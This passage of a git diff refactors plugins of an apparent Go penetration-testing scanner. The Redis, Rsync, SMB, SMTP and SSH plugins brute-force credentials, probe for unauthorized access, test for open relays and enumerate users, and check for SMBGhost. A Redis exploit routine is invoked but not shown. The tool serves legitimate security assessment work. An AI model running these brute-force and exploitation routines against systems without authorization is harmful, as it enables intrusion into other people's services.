emptyCred := Credential{Username: "", Password: ""} - result := p.doRedisAuth(ctx, info, emptyCred, config, state) + result := p.doRedisAuth(ctx, info, emptyCred, session) if result.Success { if result.Conn != nil { _ = result.Conn.Close() @@ -222,10 +220,10 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H } // exploitWithPassword 使用指定密码建立连接并执行利用 -func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, config *common.Config) { +func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) { target := info.Target() - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { common.LogError(i18n.Tr("redis_reconnect_failed", err)) return @@ -235,28 +233,27 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host // 如果有密码,先认证 if password != "" { authCmd := fmt.Sprintf("AUTH %s\r\n", password) - _ = conn.SetWriteDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout)) if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil { return } - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) response := make([]byte, 512) if _, readErr := conn.Read(response); readErr != nil { return } } - p.exploit(ctx, info, conn, password, config) + p.exploit(ctx, info, conn, password, session.Config) } // identifyService 服务识别 -func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "redis", @@ -300,7 +297,6 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo banner = "Redis服务" } - state.IncrementTCPSuccessPacketCount() common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet return &ScanResult{ diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index e7f84e2..9256af1 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -28,17 +28,18 @@ func NewRsyncPlugin() *RsyncPlugin { } } -func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } var findings []string // 检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner)) findings = append(findings, result.Banner) } @@ -68,8 +69,8 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig) @@ -95,16 +96,16 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c } // createAuthFunc 创建Rsync认证函数 -func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doRsyncAuth(ctx, info, cred, config, state) + return p.doRsyncAuth(ctx, info, cred, session) } } // doRsyncAuth 执行Rsync认证 -func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { // 先获取可用模块列表 - conn := p.connectToRsync(ctx, info, config, state) + conn := p.connectToRsync(ctx, info, session) if conn == nil { return &AuthResult{ Success: false, @@ -112,7 +113,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr Error: fmt.Errorf("无法连接到Rsync服务"), } } - modules := p.getModules(conn, config) + modules := p.getModules(conn, session.Config) _ = conn.Close() if len(modules) == 0 { @@ -140,7 +141,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr ) if err != nil { - state.IncrementTCPFailedPacketCount() errMsg := err.Error() if common.ContainsAny(errMsg, "auth", "password") { return &AuthResult{ @@ -156,7 +156,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr } } - state.IncrementTCPSuccessPacketCount() return &AuthResult{ Success: true, Conn: &rsyncConnWrapper{}, @@ -206,14 +205,14 @@ func classifyRsyncErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试未授权访问 -func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - conn := p.connectToRsync(ctx, info, config, state) +func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + conn := p.connectToRsync(ctx, info, session) if conn == nil { return nil } defer func() { _ = conn.Close() }() - modules := p.getModules(conn, config) + modules := p.getModules(conn, session.Config) if len(modules) > 0 { banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", ")) @@ -229,22 +228,18 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H } // connectToRsync 连接到Rsync服务 -func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn { +func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn { target := info.Target() + timeout := session.Config.Timeout connChan := make(chan net.Conn, 1) go func() { - timeout := config.Timeout - - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() connChan <- nil return } - - state.IncrementTCPSuccessPacketCount() _ = conn.SetDeadline(time.Now().Add(timeout)) connChan <- conn }() @@ -253,7 +248,6 @@ func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, case conn := <-connChan: return conn case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { conn := <-connChan if conn != nil { @@ -326,10 +320,10 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string } // identifyService Rsync服务识别 -func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn := p.connectToRsync(ctx, info, config, state) + conn := p.connectToRsync(ctx, info, session) if conn == nil { return &ScanResult{ Success: false, @@ -339,7 +333,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } defer func() { _ = conn.Close() }() - timeout := config.Timeout + timeout := session.Config.Timeout _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, err := conn.Write([]byte("\n")); err != nil { diff --git a/plugins/services/smb.go b/plugins/services/smb.go index fa0c4e2..ff0baab 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -24,7 +24,9 @@ func NewSmbPlugin() *SmbPlugin { } } -func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State target := info.Target() // 检查端口 @@ -37,23 +39,21 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // 1. 协议探测和信息收集 - smbTarget, err := probeTarget(info.Host, info.Port, config.Timeout) + smbTarget, err := probeTarget(ctx, info.Host, info.Port, config.Timeout, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "smb", Error: fmt.Errorf("SMB协议探测失败: %w", err), } } - state.IncrementTCPSuccessPacketCount() // 输出信息收集结果 p.logSMBInfo(target, smbTarget) // 2. 漏洞检测 (仅SMBv2+且端口445) if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 { - if checkSMBGhost(info.Host, config.Timeout) { + if checkSMBGhost(ctx, info.Host, config.Timeout, session) { smbTarget.Vulnerable = &SMBVuln{CVE20200796: true} common.LogVuln(i18n.Tr("smbghost_vuln", target)) } @@ -68,7 +68,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com auth := p.getAuthenticator(smbTarget.Protocol) // 4. 未授权访问检测 - if result := p.testUnauthorizedAccess(ctx, info, auth, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success { var successMsg string if config.Credentials.Domain != "" { successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password) @@ -90,8 +90,8 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com creds[i] = Credential{Username: c.Username, Password: c.Password} } - authFn := p.createAuthFunc(info, auth, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, auth, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig) @@ -117,20 +117,16 @@ func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator { } // createAuthFunc 创建认证函数 -func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) AuthFunc { +func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, session *common.ScanSession) AuthFunc { + config := session.Config return func(ctx context.Context, cred Credential) *AuthResult { - result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout) - if result.Success { - state.IncrementTCPSuccessPacketCount() - } else { - state.IncrementTCPFailedPacketCount() - } + result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session) return result } } // testUnauthorizedAccess 测试未授权访问 -func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) *ScanResult { +func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State, session *common.ScanSession) *ScanResult { target := info.Target() unauthorizedCreds := []Credential{ @@ -140,7 +136,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos } for _, cred := range unauthorizedCreds { - shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout) + shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session) if err == nil && len(shareInfo) > 0 { var output strings.Builder displayUser := cred.Username diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index 4ff749e..d4aac21 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -201,10 +201,10 @@ var ( ) // probeTarget 探测目标SMB信息(协议版本、系统信息) -func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, error) { +func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { target := fmt.Sprintf("%s:%d", host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { return nil, fmt.Errorf("连接失败: %w", err) } @@ -230,7 +230,7 @@ func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, erro } // SMBv2路径 - return probeSMBv2(target, timeout) + return probeSMBv2(ctx, target, timeout, session) } // probeSMBv1 处理SMBv1协议信息收集 @@ -242,7 +242,7 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget } ret, err := readSMBMessage(conn) - if err != nil || len(ret) < 45 { + if err != nil || len(ret) < 47 { return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err) } @@ -251,21 +251,24 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget } // 解析blob信息 - blobLength := bytesToUint16(ret[43:45]) - blobCount := bytesToUint16(ret[45:47]) + blobLength := int(bytesToUint16(ret[43:45])) + blobCount := int(bytesToUint16(ret[45:47])) - if int(blobCount) > len(ret) { + gssNative := ret[47:] + gssLen := len(gssNative) + + // 校验远端返回的偏移量 + if blobLength > gssLen || blobCount > gssLen || blobLength > blobCount { return info, nil } - gssNative := ret[47:] offNTLM := bytes.Index(gssNative, []byte("NTLMSSP")) if offNTLM == -1 { return info, nil } // 提取native OS和LM信息 - native := gssNative[int(blobLength):blobCount] + native := gssNative[blobLength:blobCount] ss := strings.Split(string(native), "\x00\x00") if len(ss) > 0 { @@ -276,15 +279,17 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget } // 解析NTLM信息 - bs := gssNative[offNTLM:blobLength] - parseNTLMChallenge(bs, info) + if offNTLM <= blobLength { + bs := gssNative[offNTLM:blobLength] + parseNTLMChallenge(bs, info) + } return info, nil } // probeSMBv2 处理SMBv2协议信息收集 -func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) { - conn2, err := common.WrapperTcpWithTimeout("tcp", target, timeout) +func probeSMBv2(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { + conn2, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { return nil, fmt.Errorf("SMBv2连接失败: %w", err) } @@ -349,10 +354,10 @@ func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) { } // checkSMBGhost 检测CVE-2020-0796漏洞 -func checkSMBGhost(host string, timeout time.Duration) bool { +func checkSMBGhost(ctx context.Context, host string, timeout time.Duration, session *common.ScanSession) bool { addr := fmt.Sprintf("%s:445", host) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return false } @@ -385,15 +390,15 @@ func checkSMBGhost(host string, timeout time.Duration) bool { // SMBAuthenticator 统一认证接口 type SMBAuthenticator interface { - Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) - ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) + Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) + ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) } // SMB1Authenticator SMB1认证器 type SMB1Authenticator struct{} // Authenticate 执行SMB1认证 -func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) { +func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) { options := smb.Options{ Host: host, Port: port, @@ -467,19 +472,19 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port } // ListShares 列举SMB共享(SMB1使用SMB2库列举) -func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) { - return listSMBSharesInternal(host, port, cred, domain, timeout) +func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) { + return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session) } // SMB2Authenticator SMB2认证器 type SMB2Authenticator struct{} // Authenticate 执行SMB2认证 -func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) { +func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) { timeoutCtx, cancel := context.WithTimeout(ctx, timeout) defer cancel() - conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout) + conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout) if err != nil { return &AuthResult{ Success: false, @@ -518,15 +523,15 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port } // ListShares 列举SMB2共享 -func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) { - return listSMBSharesInternal(host, port, cred, domain, timeout) +func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) { + return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session) } // listSMBSharesInternal 内部共享列举实现 -func listSMBSharesInternal(host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) { +func listSMBSharesInternal(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) { target := net.JoinHostPort(host, strconv.Itoa(port)) - conn, err := net.DialTimeout("tcp", target, timeout*2) + conn, err := session.DialTCP(ctx, "tcp", target, timeout*2) if err != nil { return nil, err } diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index e3dbd2c..4d77b12 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -25,15 +25,16 @@ func NewSMTPPlugin() *SMTPPlugin { } } -func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner)) return result } @@ -55,8 +56,8 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig) @@ -68,23 +69,22 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // createAuthFunc 创建SMTP认证函数 -func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doSMTPAuth(ctx, info, cred, config, state) + return p.doSMTPAuth(ctx, info, cred, session) } } // doSMTPAuth 执行SMTP认证 -func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -98,7 +98,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred client, err := smtp.NewClient(conn, info.Host) if err != nil { _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -111,7 +110,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host) if err := client.Auth(auth); err != nil { _ = client.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -123,7 +121,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred if err := client.Mail("test@test.com"); err != nil { _ = client.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -132,7 +129,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred return } - state.IncrementTCPSuccessPacketCount() resultChan <- &AuthResult{ Success: true, Conn: &smtpClientWrapper{client}, @@ -209,24 +205,24 @@ func classifySMTPErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试SMTP未授权访问 -func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { // 测试匿名访问 - if result := p.testAnonymousAccess(ctx, info, config, state); result != nil { + if result := p.testAnonymousAccess(ctx, info, session); result != nil { return result } // 测试开放中继 - if result := p.testOpenRelay(ctx, info, config, state); result != nil { + if result := p.testOpenRelay(ctx, info, session); result != nil { return result } // 测试VRFY命令 - if result := p.testVRFYCommand(ctx, info, config, state); result != nil { + if result := p.testVRFYCommand(ctx, info, session); result != nil { return result } // 测试EXPN命令 - if result := p.testEXPNCommand(ctx, info, config, state); result != nil { + if result := p.testEXPNCommand(ctx, info, session); result != nil { return result } @@ -234,15 +230,14 @@ func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Ho } // testAnonymousAccess 测试匿名邮件发送 -func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } @@ -270,7 +265,6 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI return } - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -288,15 +282,14 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI } // testOpenRelay 测试开放中继 -func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } @@ -324,7 +317,6 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c return } - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -342,21 +334,20 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c } // testVRFYCommand 测试VRFY命令用户枚举 -func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { resultChan <- nil @@ -391,7 +382,6 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, vrfyResponse := strings.TrimSpace(string(buffer[:n])) if strings.HasPrefix(vrfyResponse, "250") { - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -414,21 +404,20 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, } // testEXPNCommand 测试EXPN命令邮件列表枚举 -func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { resultChan <- nil @@ -463,7 +452,6 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, expnResponse := strings.TrimSpace(string(buffer[:n])) if strings.HasPrefix(expnResponse, "250") { - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -486,21 +474,20 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, } // getServerInfo 获取SMTP服务器信息 -func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) string { +func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, session *common.ScanSession) string { target := info.Target() resultChan := make(chan string, 1) go func() { - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- "" return } defer func() { _ = conn.Close() }() - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) buffer := make([]byte, 1024) n, err := conn.Read(buffer) if err != nil { @@ -508,7 +495,6 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c return } - state.IncrementTCPSuccessPacketCount() welcome := strings.TrimSpace(string(buffer[:n])) if strings.HasPrefix(welcome, "220") { @@ -529,18 +515,17 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c } // identifyService SMTP服务识别 -func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - serverInfo := p.getServerInfo(ctx, info, config, state) + serverInfo := p.getServerInfo(ctx, info, session) var banner string if serverInfo != "" { banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo) } else { - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "smtp", @@ -548,7 +533,6 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, } } defer func() { _ = conn.Close() }() - state.IncrementTCPSuccessPacketCount() banner = "SMTP邮件服务" } diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index 2a843b3..d50b9a0 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -34,12 +34,13 @@ func NewSSHPlugin() *SSHPlugin { } // Scan 执行SSH扫描 -func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 如果指定了SSH密钥,优先使用密钥认证 if config.Credentials.SSHKeyPath != "" { - if result := p.scanWithKey(ctx, info, config, state); result != nil && result.Success { + if result := p.scanWithKey(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet return result } @@ -47,7 +48,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com // 如果禁用暴力破解,只做服务识别 if config.DisableBrute { - return p.identifyService(info, config, state) + return p.identifyService(ctx, info, session) } // 生成测试凭据 @@ -63,8 +64,8 